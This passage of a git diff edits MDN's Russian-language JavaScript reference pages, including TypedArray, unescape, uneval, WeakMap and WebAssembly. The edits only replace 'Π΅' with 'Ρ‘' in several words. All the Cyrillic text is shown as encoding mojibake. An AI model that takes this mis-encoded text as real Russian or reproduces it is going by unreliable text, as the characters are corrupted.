ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉΒ <code>"<em>number</em>"</code>, <code>"<em>string</em>"</code>, ΠΈΒ <code>"<em>default</em>"</code>.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/index.html
index 17bd236f34..3db99bf074 100644
--- a/files/ru/web/javascript/reference/global_objects/typedarray/index.html
+++ b/files/ru/web/javascript/reference/global_objects/typedarray/index.html
@@ -35,7 +35,7 @@ Int8Array(), Uint8Array(), Uint8ClampedArray(), Int16Array(), Uint16Array(), Int
<dt>object</dt>
<dd>Новый массив создаётся Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π±Ρ‹Π»Π° Π²Ρ‹Π·Π²Π°Π½Π° функция <code><em>TypedArray</em>.from()</code></dd>
<dt>buffer, byteOffset, length</dt>
- <dd>Когда происходит Π²Ρ‹Π·ΠΎΠ² с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ <strong><code>buffer</code> </strong>ΠΈ ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ <strong><code>byteOffset </code></strong>ΠΈ<code> </code><strong><code>length</code></strong>, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ создан Π½ΠΎΠ²Ρ‹ΠΉ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Ρ€Π°ΠΆΠ°Ρ‚ΡŒ <code>buffer </code>Ρ‚ΠΈΠΏΠ° {{jsxref("ArrayBuffer")}}. ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ <code>byteOffset</code> ΠΈ <code>length</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (Ρ€Π°Π·ΠΌΠ΅Ρ€) памяти, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ Π΄Π°Π½Π½Ρ‹ΠΌ массивоподобным прСдставлСниСм. Если ΠΎΠ±Π° этих ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° (<code>byteOffset</code> ΠΈ <code>length</code>) ΠΎΠΏΡƒΡ‰Π΅Π½Ρ‹, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ использован вСсь Π±ΡƒΡ„Π΅Ρ€ <code>buffer</code>; Ссли ΠΎΠΏΡƒΡ‰Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ <code>length</code>, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ вСсь остаток Π±ΡƒΡ„Π΅Ρ€Π° послС смСщСния Π½Π°Ρ‡Π°Π»Π° отсчСта элСмСнтов, Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ <code>byteOffset</code>.</dd>
+ <dd>Когда происходит Π²Ρ‹Π·ΠΎΠ² с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ <strong><code>buffer</code> </strong>ΠΈ ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ <strong><code>byteOffset </code></strong>ΠΈ<code> </code><strong><code>length</code></strong>, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ создан Π½ΠΎΠ²Ρ‹ΠΉ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Ρ€Π°ΠΆΠ°Ρ‚ΡŒ <code>buffer </code>Ρ‚ΠΈΠΏΠ° {{jsxref("ArrayBuffer")}}. ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ <code>byteOffset</code> ΠΈ <code>length</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (Ρ€Π°Π·ΠΌΠ΅Ρ€) памяти, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ Π΄Π°Π½Π½Ρ‹ΠΌ массивоподобным прСдставлСниСм. Если ΠΎΠ±Π° этих ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° (<code>byteOffset</code> ΠΈ <code>length</code>) ΠΎΠΏΡƒΡ‰Π΅Π½Ρ‹, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ использован вСсь Π±ΡƒΡ„Π΅Ρ€ <code>buffer</code>; Ссли ΠΎΠΏΡƒΡ‰Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ <code>length</code>, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ вСсь остаток Π±ΡƒΡ„Π΅Ρ€Π° послС смСщСния Π½Π°Ρ‡Π°Π»Π° отсчёта элСмСнтов, Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ <code>byteOffset</code>.</dd>
</dl>
<h2 id="ОписаниС"><a id="Description" name="Description">ОписаниС</a></h2>
@@ -218,7 +218,7 @@ for (var k in typedArrayTypes)
<tr>
<td>{{SpecName('Typed Array')}}</td>
<td>{{Spec2('Typed Array')}}</td>
- <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ <code>TypedArray</code> ΠΈ <code>ArrayBufferView</code>. Π—Π°ΠΌΠ΅Π½Π΅Π½ Π² ECMAScript 6.</td>
+ <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ <code>TypedArray</code> ΠΈ <code>ArrayBufferView</code>. Π—Π°ΠΌΠ΅Π½Ρ‘Π½ Π² ECMAScript 6.</td>
</tr>
<tr>
<td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
diff --git a/files/ru/web/javascript/reference/global_objects/unescape/index.html b/files/ru/web/javascript/reference/global_objects/unescape/index.html
index b0052bf0dc..0aecf842d0 100644
--- a/files/ru/web/javascript/reference/global_objects/unescape/index.html
+++ b/files/ru/web/javascript/reference/global_objects/unescape/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/unescape
<h2 id="Summary" name="Summary">ОписаниС</h2>
-<p>Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>unescape(str)</strong></code> создаСт Π½ΠΎΠ²ΡƒΡŽ строку Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Π°Ρ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ символов Π²ΠΈΠ΄Π°Β %xx замСняСтся эквивалСнтами ΠΈΠ· ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ ASCII.Β Π—Π½Π°ΠΊΠΈ, Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β %uxxxxΒ (Π·Π½Π°ΠΊΠΈ ΠΠ½ΠΈΠΊΠΎΠ΄Π°), Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π·Π½Π°ΠΊΠ°ΠΌΠΈ ΠΠ½ΠΈΠΊΠΎΠ΄Π° Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅Β xxxx.</p>
+<p>Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>unescape(str)</strong></code> создаёт Π½ΠΎΠ²ΡƒΡŽ строку Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Π°Ρ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ символов Π²ΠΈΠ΄Π°Β %xx замСняСтся эквивалСнтами ΠΈΠ· ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ ASCII.Β Π—Π½Π°ΠΊΠΈ, Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β %uxxxxΒ (Π·Π½Π°ΠΊΠΈ ΠΠ½ΠΈΠΊΠΎΠ΄Π°), Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π·Π½Π°ΠΊΠ°ΠΌΠΈ ΠΠ½ΠΈΠΊΠΎΠ΄Π° Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅Β xxxx.</p>
<p>ΠŸΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ Π²Ρ€ΠΎΠ΄Π΅Β {{jsxref("Global_Objects/escape", "escape")}}. Π’.ΠΊ.Β {{jsxref("Global_Objects/decodeURIComponent", "unescape")}} являСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅ΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{jsxref("Global_Objects/decodeURI", "decodeURI")}} ΠΈΠ»ΠΈΒ {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} вмСсто Π½Π΅Ρ‘.</p>
diff --git a/files/ru/web/javascript/reference/global_objects/uneval/index.html b/files/ru/web/javascript/reference/global_objects/uneval/index.html
index 21cd4e9958..2fa30aeeaa 100644
--- a/files/ru/web/javascript/reference/global_objects/uneval/index.html
+++ b/files/ru/web/javascript/reference/global_objects/uneval/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/uneval
<div><strong style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Π‘Π²ΠΎΠ΄ΠΊΠ°</strong></div>
-<p><code style="font-style: normal; line-height: 1.5;"><strong>uneval()</strong></code><span style="line-height: 1.5;"> ΠΌΠ΅Ρ‚ΠΎΠ΄ создаСт строковоС прСдставлСниС исходного ΠΊΠΎΠ΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</span></p>
+<p><code style="font-style: normal; line-height: 1.5;"><strong>uneval()</strong></code><span style="line-height: 1.5;"> ΠΌΠ΅Ρ‚ΠΎΠ΄ создаёт строковоС прСдставлСниС исходного ΠΊΠΎΠ΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</span></p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html
index 260264b01d..e99dbd4a2d 100644
--- a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html
@@ -32,7 +32,7 @@ wm.has(window) // false
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
-<p>НС Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π½ΠΈΒ Π² ΠΎΠ΄Π½Ρƒ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊ. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β Π±Ρ‹Π» Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊΠ°Β ECMAScript 6, Π΄ΠΎ 28 Ρ€Π΅Π²ΠΈΠ·ΠΈΠΈ (вСрсия ΠΎΡ‚ 14 октября, 2014), Π½ΠΎ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ Π² ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… вСрсиях Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊΠ°. Π’ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΌ стандартС Π΅Π³ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚.</p>
+<p>НС Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π½ΠΈΒ Π² ΠΎΠ΄Π½Ρƒ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊ. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β Π±Ρ‹Π» Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊΠ°Β ECMAScript 6, Π΄ΠΎ 28 Ρ€Π΅Π²ΠΈΠ·ΠΈΠΈ (вСрсия ΠΎΡ‚ 14 октября, 2014), Π½ΠΎ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ Π² ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… вСрсиях Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊΠ°. Π’ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΌ стандартС Π΅Π³ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚.</p>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html
index 8072855d1e..595f0ab82e 100644
--- a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html
@@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
<dl>
<dt>key</dt>
- <dd>ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»Π΅Π½. ΠšΠ»ΡŽΡ‡ элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π΅Π»Π΅Π½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° WeakMap.</dd>
+ <dd>ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»Π΅Π½. ΠšΠ»ΡŽΡ‡ элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π΅Π»Ρ‘Π½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° WeakMap.</dd>
</dl>
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/index.html
index 1bf1b3c017..c849670ad7 100644
--- a/files/ru/web/javascript/reference/global_objects/weakmap/index.html
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/index.html
@@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
<h3 id="ΠŸΠΎΡ‡Π΅ΠΌΡƒ_WeakMap">ΠŸΠΎΡ‡Π΅ΠΌΡƒ<em> Weak</em>Map?</h3>
-<p>ΠžΠΏΡ‹Ρ‚Π½Ρ‹ΠΉ JavaScript Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚, Ρ‡Ρ‚ΠΎ map API ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° JavaScript c ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ Π΄Π²ΡƒΡ… массивов (ΠΎΠ΄ΠΈΠ½ Π΄Π»ΡΒ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, Π²Ρ‚ΠΎΡ€ΠΎΠΉ для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ) ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… ΠΎΠ±Ρ‰ΠΈΡ… API ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ². Установка элСмСнтов Π² этот map Π΄ΠΎΠ»ΠΆΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π·Π°ΠΏΡƒΡˆΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡ΠΈ ΠΈ значСния. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ индСксы ΠΊΠ»ΡŽΡ‡Π° ΠΈ значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌΠΈ. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ с mapΒ ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅Β ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ совпадСниС, Π° Π·Π°Ρ‚Π΅ΠΌ использованиС индСкса этого соотвСтствия для ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΡΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ значСния ΠΈΠ· массива Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</p>
+<p>ΠžΠΏΡ‹Ρ‚Π½Ρ‹ΠΉ JavaScript Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚, Ρ‡Ρ‚ΠΎ map API ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° JavaScript c ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ Π΄Π²ΡƒΡ… массивов (ΠΎΠ΄ΠΈΠ½ Π΄Π»ΡΒ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, Π²Ρ‚ΠΎΡ€ΠΎΠΉ для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ) ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… ΠΎΠ±Ρ‰ΠΈΡ… API ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ². Установка элСмСнтов Π² этот map Π΄ΠΎΠ»ΠΆΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π·Π°ΠΏΡƒΡˆΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡ΠΈ ΠΈ значСния. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ индСксы ΠΊΠ»ΡŽΡ‡Π° ΠΈ значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌΠΈ. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ с mapΒ ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅Β ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ совпадСниС, Π° Π·Π°Ρ‚Π΅ΠΌ использованиС индСкса этого соотвСтствия для ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΡΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ значСния ΠΈΠ· массива Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</p>
<p>Π£ Ρ‚Π°ΠΊΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π΄Π²Π° Π³Π»Π°Π²Π½Ρ‹Ρ… нСудобства. ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ являСтся O(n) поиск (Π³Π΄Π΅ n β€” количСство ΠΊΠ»ΡŽΡ‡Π΅ΠΉ Π² map), Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ±Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ списка ΠΊΠ»ΡŽΡ‡Π΅ΠΉ для нахоТдСния совпадСния.Β Π’Ρ‚ΠΎΡ€Ρ‹ΠΌΒ <span style="background-color: #f9f9f9; color: #252525; font-family: sans-serif; font-size: 12.3199996948242px; line-height: 18.4799995422363px; text-transform: lowercase;">– </span>ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΡƒΡ‚Π΅Ρ‡ΠΊΠΈ памяти. Π’ словарях, написанных Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ, массив с ΠΊΠ»ΡŽΡ‡Π°ΠΌΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹-ΠΊΠ»ΡŽΡ‡ΠΈ, Π½Π΅ давая ΠΈΠΌ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΌΠΈ сборщиком мусора.Β Π’ Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ…Β <code>WeakMap</code>, ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹-ΠΊΠ»ΡŽΡ‡ΠΈΒ Ρ…Ρ€Π°Π½ΡΡ‚ΡΡ «слабо», Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎ,Β Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ прСдотвратят сборку мусора Π² Ρ‚ΠΎΠΌ случаС, Ссли Π΄Ρ€ΡƒΠ³ΠΈΡ… ссылок Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚.</p>
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html
index 90f80474a6..e463183f01 100644
--- a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html
@@ -69,7 +69,7 @@ fetch('simple.wasm').then(response =&gt;
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("javascript.builtins.WebAssembly.compile")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
index 106519cdf2..79b702b091 100644
--- a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
@@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStrea
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
